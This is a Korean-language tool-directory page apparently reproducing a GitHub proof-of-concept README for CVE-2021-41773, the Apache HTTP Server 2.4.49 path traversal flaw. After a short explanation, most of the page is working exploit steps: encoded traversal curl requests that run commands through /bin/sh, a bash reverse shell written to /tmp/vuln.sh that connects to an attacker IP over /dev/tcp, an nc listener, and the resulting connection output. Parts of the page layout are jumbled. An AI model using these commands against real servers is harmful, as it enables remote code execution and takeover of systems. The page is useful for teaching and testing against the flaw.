Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-41773 — CVE 식별자 CVE-2021-41773을 가진 첫 번째 취약점은 Apache HTTP Server 2.4.49에 존재하는 경로 탐색(path traversal) 결함입니다. | Kitploit
도구/GitHubGitHub/ludovicpatho/cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubludovicpatho/cve-2021-41773

CVE-2021-41773

CVE 식별자 CVE-2021-41773을 가진 첫 번째 취약점은 Apache HTTP Server 2.4.49에 존재하는 경로 탐색(path traversal) 결함입니다.

저장소 보기
433년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-41773

🐛 Apache HTTP Server 2.4.49의 경로 순회 및 파일 노출 취약점

Apache HTTP Server 2.4.49의 경로 정규화 변경 사항에서 결함이 발견되었습니다. 공격자는 경로 순회 공격을 사용하여 Alias 유형 지시문으로 구성된 디렉터리 외부의 파일로 URL을 매핑할 수 있습니다.

이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 이러한 요청은 성공할 수 있습니다. 또한 이러한 별칭(alias) 경로에서 CGI 스크립트도 활성화되어 있으면 원격 코드 실행으로 이어질 수 있습니다.

이 문제는 실제 환경에서 악용된 사례가 알려져 있습니다.

이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.

source

경로 순회

개요

경로 순회 공격(디렉터리 순회라고도 함)은 웹 루트 폴더 외부에 저장된 파일과 디렉터리에 접근하는 것을 목표로 합니다. 파일을 참조하는 변수를 “dot-dot-slash(../)” 시퀀스와 그 변형으로 조작하거나 절대 파일 경로를 사용함으로써 애플리케이션 소스 코드, 구성 파일, 중요 시스템 파일을 포함한 파일 시스템에 저장된 임의의 파일과 디렉터리에 접근할 수 있게 됩니다. 파일 접근은 시스템 운영 접근 제어(예: Microsoft Windows 운영 체제에서 잠겨 있거나 사용 중인 파일의 경우)에 의해 제한된다는 점에 유의해야 합니다.

이 공격은 “dot-dot-slash”, “directory traversal”, “directory climbing”, “backtracking”이라고도 합니다.

개념 증명(PoC)

PoC 환경 설정

root@kitploit:~
$ docker-compose build
$ docker-compose up

작동 확인

root@kitploit:~
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

익스플로잇

공격 대상(Victim) : localhost:1234
공격자(Attacker) : 192.168.1.12

문서에 따르면 이는 원격에서 코드를 실행할 수 있게 해주는 결함(RCE)입니다.
cgi-bin 폴더를 대상으로 curl을 실행하여 이를 악용할 수 있습니다.

root@kitploit:~
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
  • 1. RCE
    실제로 명령어에 접근 권한이 있는지 확인해 봅시다. id 명령을 사용해 보겠습니다:

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    
  • 2. 리버스 셸(Reverse shell)
    피해자 서버에 bash 파일을 생성하여 리버스 셸을 테스트해 보겠습니다.
    PayloadsAllTheThings 저장소에서 찾은 bash 기반 리버스 셸을 예로 들어 보겠습니다.

    예시는 다음과 같습니다:
    bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

    피해자 머신의 /tmp/ 폴더에 vuln.sh 파일을 생성해 보겠습니다!
    이 파일에는 원격으로 실행할 수 있는 리버스 셸이 포함되며, 로컬 머신의 44번 포트로 연결됩니다.

    root@kitploit:~
    $  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
    

    cat 명령으로 파일 내용을 확인할 수 있습니다.

    root@kitploit:~

참고 자료

  • https://httpd.apache.org/security/vulnerabilities_24.html
  • https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7
도구 다운로드
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh' #!/bin/bash bash -i >& /dev/tcp/192.168.1.12/44 0>&1
  • 3. ncat을 이용한 리스너 생성
    로컬 머신에 리스너를 생성해 보겠습니다.

    root@kitploit:~
    $ nc -lvnp 44
    

    이제 남은 것은 원격 파일을 실행하는 것뿐입니다.

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
    text/plain; echo; bash /tmp/vuln.sh'
    

    응답:

    root@kitploit:~
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::44
    Ncat: Listening on 0.0.0.0:44
    Ncat: Connection from 172.19.32.1.
    Ncat: Connection from 172.19.32.1:58963.